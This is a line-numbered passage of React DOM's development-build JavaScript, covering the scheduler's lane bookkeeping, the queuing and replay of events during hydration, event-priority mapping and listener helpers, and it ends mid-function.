5797 root.suspendedLanes |= suspendedLanes;
5798 root.pingedLanes &= ~suspendedLanes; // The suspended lanes are no longer CPU-bound. Clear their expiration times.
5799
5800 var expirationTimes = root.expirationTimes;
5801 var lanes = suspendedLanes;
5802
5803 while (lanes > 0) {
5804 var index = pickArbitraryLaneIndex(lanes);
5805 var lane = 1 << index;
5806 expirationTimes[index] = NoTimestamp;
5807 lanes &= ~lane;
5808 }
5809 }
5810 function markRootPinged(root, pingedLanes, eventTime) {
5811 root.pingedLanes |= root.suspendedLanes & pingedLanes;
5812 }
5813 function markRootFinished(root, remainingLanes) {
5814 var noLongerPendingLanes = root.pendingLanes & ~remainingLanes;
5815 root.pendingLanes = remainingLanes; // Let's try everything again
5816
5817 root.suspendedLanes = NoLanes;
5818 root.pingedLanes = NoLanes;
5819 root.expiredLanes &= remainingLanes;
5820 root.mutableReadLanes &= remainingLanes;
5821 root.entangledLanes &= remainingLanes;
5822 var entanglements = root.entanglements;
5823 var eventTimes = root.eventTimes;
5824 var expirationTimes = root.expirationTimes; // Clear the lanes that no longer have pending work
5825
5826 var lanes = noLongerPendingLanes;
5827
5828 while (lanes > 0) {
5829 var index = pickArbitraryLaneIndex(lanes);
5830 var lane = 1 << index;
5831 entanglements[index] = NoLanes;
5832 eventTimes[index] = NoTimestamp;
5833 expirationTimes[index] = NoTimestamp;
5834 lanes &= ~lane;
5835 }
5836 }
5837 function markRootEntangled(root, entangledLanes) {
5838 // In addition to entangling each of the given lanes with each other, we also
5839 // have to consider _transitive_ entanglements. For each lane that is already
5840 // entangled with *any* of the given lanes, that lane is now transitively
5841 // entangled with *all* the given lanes.
5842 //
5843 // Translated: If C is entangled with A, then entangling A with B also
5844 // entangles C with B.
5845 //
5846 // If this is hard to grasp, it might help to intentionally break this
5847 // function and look at the tests that fail in ReactTransition-test.js. Try
5848 // commenting out one of the conditions below.
5849 var rootEntangledLanes = root.entangledLanes |= entangledLanes;
5850 var entanglements = root.entanglements;
5851 var lanes = rootEntangledLanes;
5852
5853 while (lanes) {
5854 var index = pickArbitraryLaneIndex(lanes);
5855 var lane = 1 << index;
5856
5857 if ( // Is this one of the newly entangled lanes?
5858 lane & entangledLanes | // Is this lane transitively entangled with the newly entangled lanes?
5859 entanglements[index] & entangledLanes) {
5860 entanglements[index] |= entangledLanes;
5861 }
5862
5863 lanes &= ~lane;
5864 }
5865 }
5866 function getBumpedLaneForHydration(root, renderLanes) {
5867 var renderLane = getHighestPriorityLane(renderLanes);
5868 var lane;
5869
5870 switch (renderLane) {
5871 case InputContinuousLane:
5872 lane = InputContinuousHydrationLane;
5873 break;
5874
5875 case DefaultLane:
5876 lane = DefaultHydrationLane;
5877 break;
5878
5879 case TransitionLane1:
5880 case TransitionLane2:
5881 case TransitionLane3:
5882 case TransitionLane4:
5883 case TransitionLane5:
5884 case TransitionLane6:
5885 case TransitionLane7:
5886 case TransitionLane8:
5887 case TransitionLane9:
5888 case TransitionLane10:
5889 case TransitionLane11:
5890 case TransitionLane12:
5891 case TransitionLane13:
5892 case TransitionLane14:
5893 case TransitionLane15:
5894 case TransitionLane16:
5895 case RetryLane1:
5896 case RetryLane2:
5897 case RetryLane3:
5898 case RetryLane4:
5899 case RetryLane5:
5900 lane = TransitionHydrationLane;
5901 break;
5902
5903 case IdleLane:
5904 lane = IdleHydrationLane;
5905 break;
5906
5907 default:
5908 // Everything else is already either a hydration lane, or shouldn't
5909 // be retried at a hydration lane.
5910 lane = NoLane;
5911 break;
5912 } // Check if the lane we chose is suspended. If so, that indicates that we
5913 // already attempted and failed to hydrate at that level. Also check if we're
5914 // already rendering that lane, which is rare but could happen.
5915
5916
5917 if ((lane & (root.suspendedLanes | renderLanes)) !== NoLane) {
5918 // Give up trying to hydrate and fall back to client render.
5919 return NoLane;
5920 }
5921
5922 return lane;
5923 }
5924 function addFiberToLanesMap(root, fiber, lanes) {
5925
5926 if (!isDevToolsPresent) {
5927 return;
5928 }
5929
5930 var pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;
5931
5932 while (lanes > 0) {
5933 var index = laneToIndex(lanes);
5934 var lane = 1 << index;
5935 var updaters = pendingUpdatersLaneMap[index];
5936 updaters.add(fiber);
5937 lanes &= ~lane;
5938 }
5939 }
5940 function movePendingFibersToMemoized(root, lanes) {
5941
5942 if (!isDevToolsPresent) {
5943 return;
5944 }
5945
5946 var pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;
5947 var memoizedUpdaters = root.memoizedUpdaters;
5948
5949 while (lanes > 0) {
5950 var index = laneToIndex(lanes);
5951 var lane = 1 << index;
5952 var updaters = pendingUpdatersLaneMap[index];
5953
5954 if (updaters.size > 0) {
5955 updaters.forEach(function (fiber) {
5956 var alternate = fiber.alternate;
5957
5958 if (alternate === null || !memoizedUpdaters.has(alternate)) {
5959 memoizedUpdaters.add(fiber);
5960 }
5961 });
5962 updaters.clear();
5963 }
5964
5965 lanes &= ~lane;
5966 }
5967 }
5968 function getTransitionsForLanes(root, lanes) {
5969 {
5970 return null;
5971 }
5972 }
5973
5974 var DiscreteEventPriority = SyncLane;
5975 var ContinuousEventPriority = InputContinuousLane;
5976 var DefaultEventPriority = DefaultLane;
5977 var IdleEventPriority = IdleLane;
5978 var currentUpdatePriority = NoLane;
5979 function getCurrentUpdatePriority() {
5980 return currentUpdatePriority;
5981 }
5982 function setCurrentUpdatePriority(newPriority) {
5983 currentUpdatePriority = newPriority;
5984 }
5985 function runWithPriority(priority, fn) {
5986 var previousPriority = currentUpdatePriority;
5987
5988 try {
5989 currentUpdatePriority = priority;
5990 return fn();
5991 } finally {
5992 currentUpdatePriority = previousPriority;
5993 }
5994 }
5995 function higherEventPriority(a, b) {
5996 return a !== 0 && a < b ? a : b;
5997 }
5998 function lowerEventPriority(a, b) {
5999 return a === 0 || a > b ? a : b;
6000 }
6001 function isHigherEventPriority(a, b) {
6002 return a !== 0 && a < b;
6003 }
6004 function lanesToEventPriority(lanes) {
6005 var lane = getHighestPriorityLane(lanes);
6006
6007 if (!isHigherEventPriority(DiscreteEventPriority, lane)) {
6008 return DiscreteEventPriority;
6009 }
6010
6011 if (!isHigherEventPriority(ContinuousEventPriority, lane)) {
6012 return ContinuousEventPriority;
6013 }
6014
6015 if (includesNonIdleWork(lane)) {
6016 return DefaultEventPriority;
6017 }
6018
6019 return IdleEventPriority;
6020 }
6021
6022 // This is imported by the event replaying implementation in React DOM. It's
6023 // in a separate file to break a circular dependency between the renderer and
6024 // the reconciler.
6025 function isRootDehydrated(root) {
6026 var currentState = root.current.memoizedState;
6027 return currentState.isDehydrated;
6028 }
6029
6030 var _attemptSynchronousHydration;
6031
6032 function setAttemptSynchronousHydration(fn) {
6033 _attemptSynchronousHydration = fn;
6034 }
6035 function attemptSynchronousHydration(fiber) {
6036 _attemptSynchronousHydration(fiber);
6037 }
6038 var attemptContinuousHydration;
6039 function setAttemptContinuousHydration(fn) {
6040 attemptContinuousHydration = fn;
6041 }
6042 var attemptHydrationAtCurrentPriority;
6043 function setAttemptHydrationAtCurrentPriority(fn) {
6044 attemptHydrationAtCurrentPriority = fn;
6045 }
6046 var getCurrentUpdatePriority$1;
6047 function setGetCurrentUpdatePriority(fn) {
6048 getCurrentUpdatePriority$1 = fn;
6049 }
6050 var attemptHydrationAtPriority;
6051 function setAttemptHydrationAtPriority(fn) {
6052 attemptHydrationAtPriority = fn;
6053 } // TODO: Upgrade this definition once we're on a newer version of Flow that
6054 // has this definition built-in.
6055
6056 var hasScheduledReplayAttempt = false; // The queue of discrete events to be replayed.
6057
6058 var queuedDiscreteEvents = []; // Indicates if any continuous event targets are non-null for early bailout.
6059 // if the last target was dehydrated.
6060
6061 var queuedFocus = null;
6062 var queuedDrag = null;
6063 var queuedMouse = null; // For pointer events there can be one latest event per pointerId.
6064
6065 var queuedPointers = new Map();
6066 var queuedPointerCaptures = new Map(); // We could consider replaying selectionchange and touchmoves too.
6067
6068 var queuedExplicitHydrationTargets = [];
6069 var discreteReplayableEvents = ['mousedown', 'mouseup', 'touchcancel', 'touchend', 'touchstart', 'auxclick', 'dblclick', 'pointercancel', 'pointerdown', 'pointerup', 'dragend', 'dragstart', 'drop', 'compositionend', 'compositionstart', 'keydown', 'keypress', 'keyup', 'input', 'textInput', // Intentionally camelCase
6070 'copy', 'cut', 'paste', 'click', 'change', 'contextmenu', 'reset', 'submit'];
6071 function isDiscreteEventThatRequiresHydration(eventType) {
6072 return discreteReplayableEvents.indexOf(eventType) > -1;
6073 }
6074
6075 function createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6076 return {
6077 blockedOn: blockedOn,
6078 domEventName: domEventName,
6079 eventSystemFlags: eventSystemFlags,
6080 nativeEvent: nativeEvent,
6081 targetContainers: [targetContainer]
6082 };
6083 }
6084
6085 function clearIfContinuousEvent(domEventName, nativeEvent) {
6086 switch (domEventName) {
6087 case 'focusin':
6088 case 'focusout':
6089 queuedFocus = null;
6090 break;
6091
6092 case 'dragenter':
6093 case 'dragleave':
6094 queuedDrag = null;
6095 break;
6096
6097 case 'mouseover':
6098 case 'mouseout':
6099 queuedMouse = null;
6100 break;
6101
6102 case 'pointerover':
6103 case 'pointerout':
6104 {
6105 var pointerId = nativeEvent.pointerId;
6106 queuedPointers.delete(pointerId);
6107 break;
6108 }
6109
6110 case 'gotpointercapture':
6111 case 'lostpointercapture':
6112 {
6113 var _pointerId = nativeEvent.pointerId;
6114 queuedPointerCaptures.delete(_pointerId);
6115 break;
6116 }
6117 }
6118 }
6119
6120 function accumulateOrCreateContinuousQueuedReplayableEvent(existingQueuedEvent, blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6121 if (existingQueuedEvent === null || existingQueuedEvent.nativeEvent !== nativeEvent) {
6122 var queuedEvent = createQueuedReplayableEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent);
6123
6124 if (blockedOn !== null) {
6125 var _fiber2 = getInstanceFromNode(blockedOn);
6126
6127 if (_fiber2 !== null) {
6128 // Attempt to increase the priority of this target.
6129 attemptContinuousHydration(_fiber2);
6130 }
6131 }
6132
6133 return queuedEvent;
6134 } // If we have already queued this exact event, then it's because
6135 // the different event systems have different DOM event listeners.
6136 // We can accumulate the flags, and the targetContainers, and
6137 // store a single event to be replayed.
6138
6139
6140 existingQueuedEvent.eventSystemFlags |= eventSystemFlags;
6141 var targetContainers = existingQueuedEvent.targetContainers;
6142
6143 if (targetContainer !== null && targetContainers.indexOf(targetContainer) === -1) {
6144 targetContainers.push(targetContainer);
6145 }
6146
6147 return existingQueuedEvent;
6148 }
6149
6150 function queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6151 // These set relatedTarget to null because the replayed event will be treated as if we
6152 // moved from outside the window (no target) onto the target once it hydrates.
6153 // Instead of mutating we could clone the event.
6154 switch (domEventName) {
6155 case 'focusin':
6156 {
6157 var focusEvent = nativeEvent;
6158 queuedFocus = accumulateOrCreateContinuousQueuedReplayableEvent(queuedFocus, blockedOn, domEventName, eventSystemFlags, targetContainer, focusEvent);
6159 return true;
6160 }
6161
6162 case 'dragenter':
6163 {
6164 var dragEvent = nativeEvent;
6165 queuedDrag = accumulateOrCreateContinuousQueuedReplayableEvent(queuedDrag, blockedOn, domEventName, eventSystemFlags, targetContainer, dragEvent);
6166 return true;
6167 }
6168
6169 case 'mouseover':
6170 {
6171 var mouseEvent = nativeEvent;
6172 queuedMouse = accumulateOrCreateContinuousQueuedReplayableEvent(queuedMouse, blockedOn, domEventName, eventSystemFlags, targetContainer, mouseEvent);
6173 return true;
6174 }
6175
6176 case 'pointerover':
6177 {
6178 var pointerEvent = nativeEvent;
6179 var pointerId = pointerEvent.pointerId;
6180 queuedPointers.set(pointerId, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointers.get(pointerId) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, pointerEvent));
6181 return true;
6182 }
6183
6184 case 'gotpointercapture':
6185 {
6186 var _pointerEvent = nativeEvent;
6187 var _pointerId2 = _pointerEvent.pointerId;
6188 queuedPointerCaptures.set(_pointerId2, accumulateOrCreateContinuousQueuedReplayableEvent(queuedPointerCaptures.get(_pointerId2) || null, blockedOn, domEventName, eventSystemFlags, targetContainer, _pointerEvent));
6189 return true;
6190 }
6191 }
6192
6193 return false;
6194 } // Check if this target is unblocked. Returns true if it's unblocked.
6195
6196 function attemptExplicitHydrationTarget(queuedTarget) {
6197 // TODO: This function shares a lot of logic with findInstanceBlockingEvent.
6198 // Try to unify them. It's a bit tricky since it would require two return
6199 // values.
6200 var targetInst = getClosestInstanceFromNode(queuedTarget.target);
6201
6202 if (targetInst !== null) {
6203 var nearestMounted = getNearestMountedFiber(targetInst);
6204
6205 if (nearestMounted !== null) {
6206 var tag = nearestMounted.tag;
6207
6208 if (tag === SuspenseComponent) {
6209 var instance = getSuspenseInstanceFromFiber(nearestMounted);
6210
6211 if (instance !== null) {
6212 // We're blocked on hydrating this boundary.
6213 // Increase its priority.
6214 queuedTarget.blockedOn = instance;
6215 attemptHydrationAtPriority(queuedTarget.priority, function () {
6216 attemptHydrationAtCurrentPriority(nearestMounted);
6217 });
6218 return;
6219 }
6220 } else if (tag === HostRoot) {
6221 var root = nearestMounted.stateNode;
6222
6223 if (isRootDehydrated(root)) {
6224 queuedTarget.blockedOn = getContainerFromFiber(nearestMounted); // We don't currently have a way to increase the priority of
6225 // a root other than sync.
6226
6227 return;
6228 }
6229 }
6230 }
6231 }
6232
6233 queuedTarget.blockedOn = null;
6234 }
6235
6236 function queueExplicitHydrationTarget(target) {
6237 // TODO: This will read the priority if it's dispatched by the React
6238 // event system but not native events. Should read window.event.type, like
6239 // we do for updates (getCurrentEventPriority).
6240 var updatePriority = getCurrentUpdatePriority$1();
6241 var queuedTarget = {
6242 blockedOn: null,
6243 target: target,
6244 priority: updatePriority
6245 };
6246 var i = 0;
6247
6248 for (; i < queuedExplicitHydrationTargets.length; i++) {
6249 // Stop once we hit the first target with lower priority than
6250 if (!isHigherEventPriority(updatePriority, queuedExplicitHydrationTargets[i].priority)) {
6251 break;
6252 }
6253 }
6254
6255 queuedExplicitHydrationTargets.splice(i, 0, queuedTarget);
6256
6257 if (i === 0) {
6258 attemptExplicitHydrationTarget(queuedTarget);
6259 }
6260 }
6261
6262 function attemptReplayContinuousQueuedEvent(queuedEvent) {
6263 if (queuedEvent.blockedOn !== null) {
6264 return false;
6265 }
6266
6267 var targetContainers = queuedEvent.targetContainers;
6268
6269 while (targetContainers.length > 0) {
6270 var targetContainer = targetContainers[0];
6271 var nextBlockedOn = findInstanceBlockingEvent(queuedEvent.domEventName, queuedEvent.eventSystemFlags, targetContainer, queuedEvent.nativeEvent);
6272
6273 if (nextBlockedOn === null) {
6274 {
6275 var nativeEvent = queuedEvent.nativeEvent;
6276 var nativeEventClone = new nativeEvent.constructor(nativeEvent.type, nativeEvent);
6277 setReplayingEvent(nativeEventClone);
6278 nativeEvent.target.dispatchEvent(nativeEventClone);
6279 resetReplayingEvent();
6280 }
6281 } else {
6282 // We're still blocked. Try again later.
6283 var _fiber3 = getInstanceFromNode(nextBlockedOn);
6284
6285 if (_fiber3 !== null) {
6286 attemptContinuousHydration(_fiber3);
6287 }
6288
6289 queuedEvent.blockedOn = nextBlockedOn;
6290 return false;
6291 } // This target container was successfully dispatched. Try the next.
6292
6293
6294 targetContainers.shift();
6295 }
6296
6297 return true;
6298 }
6299
6300 function attemptReplayContinuousQueuedEventInMap(queuedEvent, key, map) {
6301 if (attemptReplayContinuousQueuedEvent(queuedEvent)) {
6302 map.delete(key);
6303 }
6304 }
6305
6306 function replayUnblockedEvents() {
6307 hasScheduledReplayAttempt = false;
6308
6309
6310 if (queuedFocus !== null && attemptReplayContinuousQueuedEvent(queuedFocus)) {
6311 queuedFocus = null;
6312 }
6313
6314 if (queuedDrag !== null && attemptReplayContinuousQueuedEvent(queuedDrag)) {
6315 queuedDrag = null;
6316 }
6317
6318 if (queuedMouse !== null && attemptReplayContinuousQueuedEvent(queuedMouse)) {
6319 queuedMouse = null;
6320 }
6321
6322 queuedPointers.forEach(attemptReplayContinuousQueuedEventInMap);
6323 queuedPointerCaptures.forEach(attemptReplayContinuousQueuedEventInMap);
6324 }
6325
6326 function scheduleCallbackIfUnblocked(queuedEvent, unblocked) {
6327 if (queuedEvent.blockedOn === unblocked) {
6328 queuedEvent.blockedOn = null;
6329
6330 if (!hasScheduledReplayAttempt) {
6331 hasScheduledReplayAttempt = true; // Schedule a callback to attempt replaying as many events as are
6332 // now unblocked. This first might not actually be unblocked yet.
6333 // We could check it early to avoid scheduling an unnecessary callback.
6334
6335 unstable_scheduleCallback(unstable_NormalPriority, replayUnblockedEvents);
6336 }
6337 }
6338 }
6339
6340 function retryIfBlockedOn(unblocked) {
6341 // Mark anything that was blocked on this as no longer blocked
6342 // and eligible for a replay.
6343 if (queuedDiscreteEvents.length > 0) {
6344 scheduleCallbackIfUnblocked(queuedDiscreteEvents[0], unblocked); // This is a exponential search for each boundary that commits. I think it's
6345 // worth it because we expect very few discrete events to queue up and once
6346 // we are actually fully unblocked it will be fast to replay them.
6347
6348 for (var i = 1; i < queuedDiscreteEvents.length; i++) {
6349 var queuedEvent = queuedDiscreteEvents[i];
6350
6351 if (queuedEvent.blockedOn === unblocked) {
6352 queuedEvent.blockedOn = null;
6353 }
6354 }
6355 }
6356
6357 if (queuedFocus !== null) {
6358 scheduleCallbackIfUnblocked(queuedFocus, unblocked);
6359 }
6360
6361 if (queuedDrag !== null) {
6362 scheduleCallbackIfUnblocked(queuedDrag, unblocked);
6363 }
6364
6365 if (queuedMouse !== null) {
6366 scheduleCallbackIfUnblocked(queuedMouse, unblocked);
6367 }
6368
6369 var unblock = function (queuedEvent) {
6370 return scheduleCallbackIfUnblocked(queuedEvent, unblocked);
6371 };
6372
6373 queuedPointers.forEach(unblock);
6374 queuedPointerCaptures.forEach(unblock);
6375
6376 for (var _i = 0; _i < queuedExplicitHydrationTargets.length; _i++) {
6377 var queuedTarget = queuedExplicitHydrationTargets[_i];
6378
6379 if (queuedTarget.blockedOn === unblocked) {
6380 queuedTarget.blockedOn = null;
6381 }
6382 }
6383
6384 while (queuedExplicitHydrationTargets.length > 0) {
6385 var nextExplicitTarget = queuedExplicitHydrationTargets[0];
6386
6387 if (nextExplicitTarget.blockedOn !== null) {
6388 // We're still blocked.
6389 break;
6390 } else {
6391 attemptExplicitHydrationTarget(nextExplicitTarget);
6392
6393 if (nextExplicitTarget.blockedOn === null) {
6394 // We're unblocked.
6395 queuedExplicitHydrationTargets.shift();
6396 }
6397 }
6398 }
6399 }
6400
6401 var ReactCurrentBatchConfig = ReactSharedInternals.ReactCurrentBatchConfig; // TODO: can we stop exporting these?
6402
6403 var _enabled = true; // This is exported in FB builds for use by legacy FB layer infra.
6404 // We'd like to remove this but it's not clear if this is safe.
6405
6406 function setEnabled(enabled) {
6407 _enabled = !!enabled;
6408 }
6409 function isEnabled() {
6410 return _enabled;
6411 }
6412 function createEventListenerWrapperWithPriority(targetContainer, domEventName, eventSystemFlags) {
6413 var eventPriority = getEventPriority(domEventName);
6414 var listenerWrapper;
6415
6416 switch (eventPriority) {
6417 case DiscreteEventPriority:
6418 listenerWrapper = dispatchDiscreteEvent;
6419 break;
6420
6421 case ContinuousEventPriority:
6422 listenerWrapper = dispatchContinuousEvent;
6423 break;
6424
6425 case DefaultEventPriority:
6426 default:
6427 listenerWrapper = dispatchEvent;
6428 break;
6429 }
6430
6431 return listenerWrapper.bind(null, domEventName, eventSystemFlags, targetContainer);
6432 }
6433
6434 function dispatchDiscreteEvent(domEventName, eventSystemFlags, container, nativeEvent) {
6435 var previousPriority = getCurrentUpdatePriority();
6436 var prevTransition = ReactCurrentBatchConfig.transition;
6437 ReactCurrentBatchConfig.transition = null;
6438
6439 try {
6440 setCurrentUpdatePriority(DiscreteEventPriority);
6441 dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
6442 } finally {
6443 setCurrentUpdatePriority(previousPriority);
6444 ReactCurrentBatchConfig.transition = prevTransition;
6445 }
6446 }
6447
6448 function dispatchContinuousEvent(domEventName, eventSystemFlags, container, nativeEvent) {
6449 var previousPriority = getCurrentUpdatePriority();
6450 var prevTransition = ReactCurrentBatchConfig.transition;
6451 ReactCurrentBatchConfig.transition = null;
6452
6453 try {
6454 setCurrentUpdatePriority(ContinuousEventPriority);
6455 dispatchEvent(domEventName, eventSystemFlags, container, nativeEvent);
6456 } finally {
6457 setCurrentUpdatePriority(previousPriority);
6458 ReactCurrentBatchConfig.transition = prevTransition;
6459 }
6460 }
6461
6462 function dispatchEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6463 if (!_enabled) {
6464 return;
6465 }
6466
6467 {
6468 dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent);
6469 }
6470 }
6471
6472 function dispatchEventWithEnableCapturePhaseSelectiveHydrationWithoutDiscreteEventReplay(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6473 var blockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);
6474
6475 if (blockedOn === null) {
6476 dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
6477 clearIfContinuousEvent(domEventName, nativeEvent);
6478 return;
6479 }
6480
6481 if (queueIfContinuousEvent(blockedOn, domEventName, eventSystemFlags, targetContainer, nativeEvent)) {
6482 nativeEvent.stopPropagation();
6483 return;
6484 } // We need to clear only if we didn't queue because
6485 // queueing is accumulative.
6486
6487
6488 clearIfContinuousEvent(domEventName, nativeEvent);
6489
6490 if (eventSystemFlags & IS_CAPTURE_PHASE && isDiscreteEventThatRequiresHydration(domEventName)) {
6491 while (blockedOn !== null) {
6492 var fiber = getInstanceFromNode(blockedOn);
6493
6494 if (fiber !== null) {
6495 attemptSynchronousHydration(fiber);
6496 }
6497
6498 var nextBlockedOn = findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent);
6499
6500 if (nextBlockedOn === null) {
6501 dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, return_targetInst, targetContainer);
6502 }
6503
6504 if (nextBlockedOn === blockedOn) {
6505 break;
6506 }
6507
6508 blockedOn = nextBlockedOn;
6509 }
6510
6511 if (blockedOn !== null) {
6512 nativeEvent.stopPropagation();
6513 }
6514
6515 return;
6516 } // This is not replayable so we'll invoke it but without a target,
6517 // in case the event system needs to trace it.
6518
6519
6520 dispatchEventForPluginEventSystem(domEventName, eventSystemFlags, nativeEvent, null, targetContainer);
6521 }
6522
6523 var return_targetInst = null; // Returns a SuspenseInstance or Container if it's blocked.
6524 // The return_targetInst field above is conceptually part of the return value.
6525
6526 function findInstanceBlockingEvent(domEventName, eventSystemFlags, targetContainer, nativeEvent) {
6527 // TODO: Warn if _enabled is false.
6528 return_targetInst = null;
6529 var nativeEventTarget = getEventTarget(nativeEvent);
6530 var targetInst = getClosestInstanceFromNode(nativeEventTarget);
6531
6532 if (targetInst !== null) {
6533 var nearestMounted = getNearestMountedFiber(targetInst);
6534
6535 if (nearestMounted === null) {
6536 // This tree has been unmounted already. Dispatch without a target.
6537 targetInst = null;
6538 } else {
6539 var tag = nearestMounted.tag;
6540
6541 if (tag === SuspenseComponent) {
6542 var instance = getSuspenseInstanceFromFiber(nearestMounted);
6543
6544 if (instance !== null) {
6545 // Queue the event to be replayed later. Abort dispatching since we
6546 // don't want this event dispatched twice through the event system.
6547 // TODO: If this is the first discrete event in the queue. Schedule an increased
6548 // priority for this boundary.
6549 return instance;
6550 } // This shouldn't happen, something went wrong but to avoid blocking
6551 // the whole system, dispatch the event without a target.
6552 // TODO: Warn.
6553
6554
6555 targetInst = null;
6556 } else if (tag === HostRoot) {
6557 var root = nearestMounted.stateNode;
6558
6559 if (isRootDehydrated(root)) {
6560 // If this happens during a replay something went wrong and it might block
6561 // the whole system.
6562 return getContainerFromFiber(nearestMounted);
6563 }
6564
6565 targetInst = null;
6566 } else if (nearestMounted !== targetInst) {
6567 // If we get an event (ex: img onload) before committing that
6568 // component's mount, ignore it for now (that is, treat it as if it was an
6569 // event on a non-React tree). We might also consider queueing events and
6570 // dispatching them after the mount.
6571 targetInst = null;
6572 }
6573 }
6574 }
6575
6576 return_targetInst = targetInst; // We're not blocked on anything.
6577
6578 return null;
6579 }
6580 function getEventPriority(domEventName) {
6581 switch (domEventName) {
6582 // Used by SimpleEventPlugin:
6583 case 'cancel':
6584 case 'click':
6585 case 'close':
6586 case 'contextmenu':
6587 case 'copy':
6588 case 'cut':
6589 case 'auxclick':
6590 case 'dblclick':
6591 case 'dragend':
6592 case 'dragstart':
6593 case 'drop':
6594 case 'focusin':
6595 case 'focusout':
6596 case 'input':
6597 case 'invalid':
6598 case 'keydown':
6599 case 'keypress':
6600 case 'keyup':
6601 case 'mousedown':
6602 case 'mouseup':
6603 case 'paste':
6604 case 'pause':
6605 case 'play':
6606 case 'pointercancel':
6607 case 'pointerdown':
6608 case 'pointerup':
6609 case 'ratechange':
6610 case 'reset':
6611 case 'resize':
6612 case 'seeked':
6613 case 'submit':
6614 case 'touchcancel':
6615 case 'touchend':
6616 case 'touchstart':
6617 case 'volumechange': // Used by polyfills:
6618 // eslint-disable-next-line no-fallthrough
6619
6620 case 'change':
6621 case 'selectionchange':
6622 case 'textInput':
6623 case 'compositionstart':
6624 case 'compositionend':
6625 case 'compositionupdate': // Only enableCreateEventHandleAPI:
6626 // eslint-disable-next-line no-fallthrough
6627
6628 case 'beforeblur':
6629 case 'afterblur': // Not used by React but could be by user code:
6630 // eslint-disable-next-line no-fallthrough
6631
6632 case 'beforeinput':
6633 case 'blur':
6634 case 'fullscreenchange':
6635 case 'focus':
6636 case 'hashchange':
6637 case 'popstate':
6638 case 'select':
6639 case 'selectstart':
6640 return DiscreteEventPriority;
6641
6642 case 'drag':
6643 case 'dragenter':
6644 case 'dragexit':
6645 case 'dragleave':
6646 case 'dragover':
6647 case 'mousemove':
6648 case 'mouseout':
6649 case 'mouseover':
6650 case 'pointermove':
6651 case 'pointerout':
6652 case 'pointerover':
6653 case 'scroll':
6654 case 'toggle':
6655 case 'touchmove':
6656 case 'wheel': // Not used by React but could be by user code:
6657 // eslint-disable-next-line no-fallthrough
6658
6659 case 'mouseenter':
6660 case 'mouseleave':
6661 case 'pointerenter':
6662 case 'pointerleave':
6663 return ContinuousEventPriority;
6664
6665 case 'message':
6666 {
6667 // We might be in the Scheduler callback.
6668 // Eventually this mechanism will be replaced by a check
6669 // of the current priority on the native scheduler.
6670 var schedulerPriority = getCurrentPriorityLevel();
6671
6672 switch (schedulerPriority) {
6673 case ImmediatePriority:
6674 return DiscreteEventPriority;
6675
6676 case UserBlockingPriority:
6677 return ContinuousEventPriority;
6678
6679 case NormalPriority:
6680 case LowPriority:
6681 // TODO: Handle LowSchedulerPriority, somehow. Maybe the same lane as hydration.
6682 return DefaultEventPriority;
6683
6684 case IdlePriority:
6685 return IdleEventPriority;
6686
6687 default:
6688 return DefaultEventPriority;
6689 }
6690 }
6691
6692 default:
6693 return DefaultEventPriority;
6694 }
6695 }
6696
6697 function addEventBubbleListener(target, eventType, listener) {
6698 target.addEventListener(eventType, listener, false);
6699 return listener;
6700 }
6701 function addEventCaptureListener(target, eventType, listener) {
6702 target.addEventListener(eventType, listener, true);
6703 return listener;
6704 }
6705 function addEventCaptureListenerWithPassiveFlag(target, eventType, listener, passive) {
6706 target.addEventListener(eventType, listener, {
6707 capture: true,
6708 passive: passive
6709 });
6710 return listener;
6711 }
6712 function addEventBubbleListenerWithPassiveFlag(target, eventType, listener, passive) {
6713 target.addEventListener(eventType, listener, {
6714 passive: passive
6715 });
6716 return listener;
6717 }
6718
6719 /**
6720 * These variables store information about text content of a target node,
6721 * allowing comparison of content before and after a given event.
6722 *
6723 * Identify the node where selection currently begins, then observe
6724 * both its text content and its current position in the DOM. Since the
6725 * browser may natively replace the target node during composition, we can
6726 * use its position to find its replacement.
6727 *
6728 *
6729 */
6730 var root = null;
6731 var startText = null;
6732 var fallbackText = null;
6733 function initialize(nativeEventTarget) {
6734 root = nativeEventTarget;
6735 startText = getText();
6736 return true;
6737 }
6738 function reset() {
6739 root = null;
6740 startText = null;
6741 fallbackText = null;
6742 }
6743 function getData() {
6744 if (fallbackText) {
6745 return fallbackText;
6746 }
6747
6748 var start;
6749 var startValue = startText;
6750 var startLength = startValue.length;
6751 var end;
6752 var endValue = getText();
6753 var endLength = endValue.length;
6754
6755 for (start = 0; start < startLength; start++) {
6756 if (startValue[start] !== endValue[start]) {
6757 break;
6758 }
6759 }
6760
6761 var minEnd = startLength - start;
6762
6763 for (end = 1; end <= minEnd; end++) {
6764 if (startValue[startLength - end] !== endValue[endLength - end]) {
6765 break;
6766 }
6767 }
6768
6769 var sliceTail = end > 1 ? 1 - end : undefined;
6770 fallbackText = endValue.slice(start, sliceTail);
6771 return fallbackText;
6772 }
6773 function getText() {
6774 if ('value' in root) {
6775 return root.value;
6776 }
6777
6778 return root.textContent;
6779 }
6780
6781 /**
6782 * `charCode` represents the actual "character code" and is safe to use with
6783 * `String.fromCharCode`. As such, only keys that correspond to printable
6784 * characters produce a valid `charCode`, the only exception to this is Enter.
6785 * The Tab-key is considered non-printable and does not have a `charCode`,
6786 * presumably because it does not produce a tab-character in browsers.
6787 *
6788 * @param {object} nativeEvent Native browser event.
6789 * @return {number} Normalized `charCode` property.
6790 */
6791 function getEventCharCode(nativeEvent) {
6792 var charCode;
6793 var keyCode = nativeEvent.keyCode;
6794
6795 if ('charCode' in nativeEvent) {
